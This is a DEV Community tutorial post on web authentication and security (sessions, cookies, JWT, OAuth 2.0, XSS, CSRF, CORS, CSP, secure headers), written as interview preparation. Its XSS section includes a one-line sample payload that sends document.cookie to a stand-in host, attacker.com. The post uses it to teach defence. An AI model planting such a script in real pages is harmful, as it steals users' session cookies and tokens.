DEV Community

Nadim Chowdhury
Nadim Chowdhury

Posted on

πŸ” MODULE 3: Authentication & Security (Very Important)

If you're building real-world applications β€” especially SaaS or full-stack apps β€” authentication and security are not optional. They're foundational.

This module is heavily asked in:

  • Backend interviews
  • Full-stack interviews
  • System design rounds
  • Security discussions

Let’s go deep but keep it practical.


βœ… 3.1 Session vs Cookie vs LocalStorage

This topic confuses many developers because these things often work together.

Let’s break them clearly.


πŸ”Ή 1. What is a Cookie?

A cookie is small data stored in the browser and automatically sent with every HTTP request to the server.

Created by:

  • Server (Set-Cookie header)
  • Or JavaScript (document.cookie)

Example:

Set-Cookie: token=abc123; HttpOnly; Secure
Enter fullscreen mode Exit fullscreen mode

Key Features:

  • Sent automatically with every request
  • Can have expiration time
  • Size limit ~4KB
  • Can be HTTP-only

πŸ”Ή 2. What is a Session?

A session is server-side storage of user data.

How it works:

  1. User logs in
  2. Server creates session (stores user info in memory/DB)
  3. Server sends session ID in a cookie
  4. Browser sends session ID with each request
  5. Server validates session ID

Important:
πŸ‘‰ Actual user data is stored on server
πŸ‘‰ Browser only stores session ID


πŸ”Ή 3. What is LocalStorage?

LocalStorage is browser storage.

localStorage.setItem("token", "abc123");
Enter fullscreen mode Exit fullscreen mode

Key Features:

  • Stored in browser only
  • NOT sent automatically with requests
  • No expiration (until manually removed)
  • Accessible via JavaScript

πŸ”₯ Comparison Table

Feature Session Cookie LocalStorage
Stored where? Server Browser Browser
Auto-sent with request? Yes (via cookie) Yes No
Size limit Large (server based) ~4KB ~5MB
Accessible via JS? No Sometimes Yes
Secure option? Yes Yes (HttpOnly) No

πŸ” Security Risks

Now the important part.


1️⃣ XSS (Cross-Site Scripting)

If attacker injects JS:

localStorage.getItem("token");
Enter fullscreen mode Exit fullscreen mode

πŸ‘‰ LocalStorage is vulnerable to XSS
πŸ‘‰ Cookies with HttpOnly are NOT accessible via JS


2️⃣ CSRF (Cross-Site Request Forgery)

Since cookies auto-send with request, attackers can trick users into making requests.

Solution:

  • CSRF tokens
  • SameSite cookies

🎯 When to Use What?

πŸ”Ή Sessions

Best for:

  • Traditional server-rendered apps
  • Banking apps
  • High-security systems

Pros:

  • Safer (data stored server-side)
  • Easy invalidation

Cons:

  • Not scalable easily (needs shared storage like Redis)

πŸ”Ή LocalStorage

Best for:

  • SPAs
  • Non-sensitive data
  • Quick prototypes

But:
⚠️ Not recommended for sensitive tokens


πŸ”Ή HTTP-only Cookies (Best Modern Practice)

Best for:

  • JWT storage
  • Secure production apps

Because:

  • Not accessible via JS
  • Reduces XSS risk

βœ… 3.2 JWT (JSON Web Token)

JWT is stateless authentication.

Unlike sessions:
πŸ‘‰ No server-side storage required


πŸ”Ή JWT Structure

JWT has 3 parts:

Header.Payload.Signature
Enter fullscreen mode Exit fullscreen mode

Example:

xxxxx.yyyyy.zzzzz
Enter fullscreen mode Exit fullscreen mode

1️⃣ Header

{
  "alg": "HS256",
  "typ": "JWT"
}
Enter fullscreen mode Exit fullscreen mode

Defines algorithm used.


2️⃣ Payload

Contains data (claims):

{
  "userId": "123",
  "role": "admin",
  "exp": 1716239022
}
Enter fullscreen mode Exit fullscreen mode

⚠️ Important:
Payload is NOT encrypted.
It is base64 encoded.
Anyone can decode it.

Do NOT store passwords inside.


3️⃣ Signature

Created using:

HMACSHA256(
  base64UrlEncode(header) + "." + base64UrlEncode(payload),
  secret
)
Enter fullscreen mode Exit fullscreen mode

This ensures:
πŸ‘‰ Token not tampered
πŸ‘‰ Server verifies signature


πŸ”₯ Access Token vs Refresh Token

This is VERY important in interviews.


πŸ”Ή Access Token

  • Short-lived (15 min / 1 hour)
  • Used for API calls
  • Sent with every request

πŸ”Ή Refresh Token

  • Long-lived (7 days / 30 days)
  • Used to generate new access token
  • Stored securely (HTTP-only cookie recommended)

πŸ” Token Expiration

Access token contains:

"exp": 1716239022
Enter fullscreen mode Exit fullscreen mode

When expired:
πŸ‘‰ Server rejects request (401)


πŸ”„ Token Refresh Flow (Modern Secure Flow)

Step-by-step:

  1. User logs in

  2. Server sends:

  • Access token (short expiry)
  • Refresh token (long expiry, HTTP-only cookie)
  1. Access token expires

  2. Frontend calls /refresh endpoint

  3. Server verifies refresh token

  4. Server issues new access token

  5. User continues without login again


πŸ” Why Refresh Token Should Be HTTP-only?

Because:

document.cookie
Enter fullscreen mode Exit fullscreen mode

Cannot access HTTP-only cookies.

So:
πŸ‘‰ Even if XSS happens, attacker cannot steal refresh token.


πŸ”₯ Recommended Production Setup

Best modern setup:

  • Access token stored in memory (not localStorage)
  • Refresh token stored in HTTP-only cookie
  • Short expiry access tokens
  • Token rotation enabled

🧠 Interview-Level Understanding

They may ask:

❓ Is JWT more secure than session?

Answer:
No. JWT is not automatically more secure.
Security depends on implementation.


❓ Why JWT is stateless?

Because server does not store user session data.
Everything is inside token.


❓ What happens if JWT secret leaks?

All tokens become compromised.
You must rotate secret immediately.


❓ How to invalidate JWT before expiration?

Options:

  • Maintain blacklist
  • Use short expiry
  • Rotate refresh tokens

🎯 Final Understanding

If you deeply understand:

  • Session vs Cookie vs LocalStorage
  • XSS vs CSRF
  • JWT structure
  • Access vs Refresh tokens
  • Token refresh flow
  • HTTP-only cookies

You are already thinking like a backend engineer.


This is where interviews shift from β€œCan you code?” to
β€œDo you understand real-world security?”

If you're targeting serious backend or full-stack roles β€” this section matters a lot.


βœ… 3.3 OAuth 2.0

OAuth 2.0 is an authorization framework, not authentication.

It allows:
πŸ‘‰ One app to access another app’s resources
πŸ‘‰ Without sharing the user’s password

Example:
β€œLogin with Google”


🧠 Key Roles in OAuth

  1. Resource Owner β†’ User
  2. Client β†’ Your app
  3. Authorization Server β†’ Google
  4. Resource Server β†’ Google APIs

πŸ”Ή 1️⃣ Authorization Code Flow (Most Secure & Most Used)

This is the recommended flow for:

  • Web apps
  • Backend apps
  • Production systems

πŸ” Step-by-Step Flow

Let’s say you implement Google login.

  1. User clicks β€œLogin with Google”
  2. Your app redirects user to Google’s authorization server
  3. User logs in & gives permission
  4. Google redirects back with authorization code
  5. Your backend exchanges code for:
  • Access token
  • Refresh token
    1. Your server uses access token to fetch user info

Why this is secure?

Because:

  • Access token is never exposed in URL
  • Token exchange happens server-to-server
  • Client secret stays hidden

πŸ”Ή Simplified Flow Diagram

User β†’ Google Login Page
      β†’ Consent
      β†’ Redirect with Code
Your Backend β†’ Exchange Code β†’ Get Access Token
Enter fullscreen mode Exit fullscreen mode

πŸ”Ή 2️⃣ Refresh Token Flow (OAuth)

Access tokens are short-lived.

When expired:

  1. Client sends refresh token to auth server
  2. Auth server verifies refresh token
  3. Issues new access token
  4. (Optional) Rotates refresh token

πŸ” Best Practice:

  • Store refresh token securely (HTTP-only cookie)
  • Rotate refresh tokens
  • Revoke on logout

πŸ”Ή 3️⃣ Third-Party Login (Google Example)

When implementing Google login:


Step 1: Register App in Google Cloud

You get:

  • Client ID
  • Client Secret

Step 2: Redirect User

https://accounts.google.com/o/oauth2/v2/auth?
client_id=YOUR_CLIENT_ID
&redirect_uri=YOUR_URL
&response_type=code
&scope=profile email
Enter fullscreen mode Exit fullscreen mode

Step 3: Exchange Code

Your backend sends:

POST https://oauth2.googleapis.com/token
Enter fullscreen mode Exit fullscreen mode

With:

  • Client ID
  • Client Secret
  • Authorization Code

Step 4: Receive Tokens

Google returns:

  • access_token
  • refresh_token
  • id_token (JWT)

Step 5: Get User Info

Use access token to call:

https://www.googleapis.com/oauth2/v3/userinfo
Enter fullscreen mode Exit fullscreen mode

🧠 Interview Tip

They may ask:

What’s the difference between OAuth and JWT?

Answer:

  • OAuth β†’ Authorization framework
  • JWT β†’ Token format

OAuth can use JWT inside it.


βœ… 3.4 Security Topics

Now we move to core security knowledge.


πŸ”₯ 1️⃣ XSS (Cross-Site Scripting)

XSS happens when attacker injects malicious JavaScript into your website.

Example:

<script>
fetch("http://attacker.com?cookie=" + document.cookie)
</script>
Enter fullscreen mode Exit fullscreen mode

If your app allows unsafe user input β†’ attacker steals tokens.


πŸ›‘ How to Prevent XSS

  • Escape user input
  • Use frameworks properly (React auto-escapes)
  • Use HTTP-only cookies
  • Implement Content Security Policy (CSP)

πŸ”₯ 2️⃣ CSRF (Cross-Site Request Forgery)

Happens when attacker tricks user into making unwanted request.

Example:
User logged into bank.
Attacker sends hidden form to transfer money.

Since cookies auto-send β†’ request succeeds.


πŸ›‘ How to Prevent CSRF

  • CSRF tokens
  • SameSite cookie flag
  • Double submit cookies

πŸ”₯ 3️⃣ CORS (Cross-Origin Resource Sharing)

CORS controls which domains can access your API.

Example:
Frontend: example.com
Backend: api.example.com

Browser blocks request unless server allows it.


Example Header:

Access-Control-Allow-Origin: https://example.com
Enter fullscreen mode Exit fullscreen mode

Important:

CORS is enforced by browser, not server security itself.


πŸ”₯ 4️⃣ Rate Limiting

Prevents abuse like:

  • Brute force attacks
  • API spam
  • DDoS attempts

Example:

Limit:

  • 100 requests per minute per IP

Implementation Methods:

  • Redis-based counters
  • API gateway
  • Nginx rate limit
  • Express rate limiter middleware

πŸ”₯ 5️⃣ Content Security Policy (CSP)

CSP restricts which scripts/resources can run.

Example:

Content-Security-Policy:
default-src 'self';
script-src 'self' https://trusted.cdn.com;
Enter fullscreen mode Exit fullscreen mode

This blocks:

  • Inline scripts
  • Unknown external scripts

Very powerful against XSS.


πŸ”₯ 6️⃣ Secure Headers

Important headers:

πŸ”Ή X-Content-Type-Options

Prevents MIME sniffing.

X-Content-Type-Options: nosniff
Enter fullscreen mode Exit fullscreen mode

πŸ”Ή X-Frame-Options

Prevents clickjacking.

X-Frame-Options: DENY
Enter fullscreen mode Exit fullscreen mode

πŸ”Ή Strict-Transport-Security (HSTS)

Forces HTTPS.

Strict-Transport-Security: max-age=31536000
Enter fullscreen mode Exit fullscreen mode

πŸ”Ή Referrer-Policy

Controls referrer information leakage.


🧠 Interview-Level Summary

They may ask:

❓ How would you secure a production API?

Strong answer:

  • Use HTTPS
  • Implement JWT with short expiry
  • Store refresh token in HTTP-only cookie
  • Add rate limiting
  • Use CSP
  • Set secure headers
  • Validate all inputs
  • Implement CSRF protection
  • Enable CORS properly

🎯 Final Understanding

If you understand:

  • OAuth Authorization Code Flow
  • Refresh token handling
  • Google login flow
  • XSS vs CSRF
  • CORS basics
  • Rate limiting
  • CSP
  • Secure headers

You are operating at a serious backend / full-stack level.

Top comments (0)